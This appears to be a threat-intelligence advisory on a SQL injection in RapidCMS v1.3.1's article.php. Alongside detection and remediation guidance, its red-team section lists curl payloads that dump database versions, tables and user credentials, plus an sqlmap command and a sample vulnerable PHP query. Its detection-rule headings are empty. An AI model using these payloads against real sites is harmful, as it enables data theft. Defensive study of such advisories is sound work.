CVE-2024-44839

Executive Summary

CVE-2024-44839 is a critical SQL injection vulnerability discovered in RapidCMS v1.3.1. The flaw resides in the /default/article.php endpoint, where the articleid parameter is not properly sanitized before being used in a SQL query. This allows an unauthenticated attacker to inject arbitrary SQL commands, potentially leading to data exfiltration, authentication bypass, or full database compromise. The vulnerability has a public proof-of-concept (PoC) but no official patch is available as of this report. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains high for exposed instances.

Supply Chain & Package Security

RapidCMS is a PHP-based content management system. The vulnerability is in the core application code, not in a third-party package. However, administrators should verify the integrity of their RapidCMS installation and ensure no malicious modifications have been made. No known supply chain attacks are associated with this CVE.

CVSS Breakdown & Threat Level

The CVSS vector is not officially provided, but based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is easy to exploit, requires no authentication, and can lead to complete database compromise.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the articleid parameter of the /default/article.php page. The application likely constructs a SQL query similar to:

SELECT * FROM articles WHERE id = $_GET['articleid']

Without proper input validation or parameterized queries, an attacker can inject SQL syntax. For example, a payload like:

1 UNION SELECT username, password FROM users

Would return user credentials in the application's response. The injection point is in the WHERE clause, making it a typical in-band SQLi.

The vulnerable code snippet (hypothetical based on common patterns):

// Vulnerable code in /default/article.php
$id = $_GET['articleid'];
$query = "SELECT * FROM articles WHERE id = $id";
$result = mysqli_query($conn, $query);

The fix would involve using prepared statements or parameterized queries:

// Patched code
$stmt = $conn->prepare("SELECT * FROM articles WHERE id = ?");
$stmt->bind_param("i", $_GET['articleid']);
$stmt->execute();

Exploitation & Lab Setup

Red Team

Prerequisites:

• A target running RapidCMS v1.3.1
• Network access to the /default/article.php endpoint

Exploitation Steps:

1. Identify the vulnerable parameter:

   curl "http://target.com/default/article.php?articleid=1"
   

2. Test for SQL injection:

   curl "http://target.com/default/article.php?articleid=1'"
   

   If an error is returned, the parameter is injectable.

3. Extract database version:

   curl "http://target.com/default/article.php?articleid=1 UNION SELECT @@version,2,3--"
   

4. Enumerate tables:

   curl "http://target.com/default/article.php?articleid=1 UNION SELECT table_name,2,3 FROM information_schema.tables--"
   

5. Dump user credentials:

   curl "http://target.com/default/article.php?articleid=1 UNION SELECT username,password,3 FROM users--"
   

Automated exploitation with sqlmap:

sqlmap -u "http://target.com/default/article.php?articleid=1" --batch --dbs

Blue Team

Detection and Response:

1. Monitor for SQL injection patterns in web server logs:

   • Look for requests containing UNION, SELECT, ', --, #, /*, */, OR, AND in the articleid parameter.
   • Example log entry:

     192.168.1.100 - - [10/Oct/2024:12:34:56 +0000] "GET /default/article.php?articleid=1%27%20UNION%20SELECT%201,2,3-- HTTP/1.1" 200 1234
     

2. Implement a Web Application Firewall (WAF) rule to block SQLi patterns.

3. Use database activity monitoring to detect anomalous queries.

4. Isolate the vulnerable application if possible, or apply virtual patching.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /default/article.php with suspicious articleid parameter values.
  • SQL error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
  • Outbound database connections from the web server to unexpected IPs.

• File IOCs:

  • Modified or new files in the RapidCMS installation directory.
  • Unusual entries in web server access logs.

• System IOCs:

  • Unexpected database queries (e.g., UNION SELECT).
  • New user accounts in the CMS database.
  • Unusual database user activity.

Detection Engineering

YARA Rule

Sigma Rule

Suricata Rule

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not required:

   • Block access to /default/article.php via web server configuration.
   • Example Apache rule:

     <LocationMatch "^/default/article\.php">
         Require all denied
     </LocationMatch>
     

2. Apply a virtual patch using a WAF:

   • Block requests containing SQL injection patterns in the articleid parameter.

3. Upgrade RapidCMS to a patched version if available (check vendor website).

Long-term Fix:

1. Rewrite the vulnerable code to use prepared statements:

   $stmt = $conn->prepare("SELECT * FROM articles WHERE id = ?");
   $stmt->bind_param("i", $_GET['articleid']);
   $stmt->execute();
   

2. Implement input validation:

   • Ensure articleid is an integer.
   • Use a whitelist of allowed values.

3. Conduct a security audit of the entire RapidCMS codebase for similar vulnerabilities.

4. Monitor for updates from the RapidCMS vendor.

Valters IT - DevSecOps & Cyber Threat Intelligence Report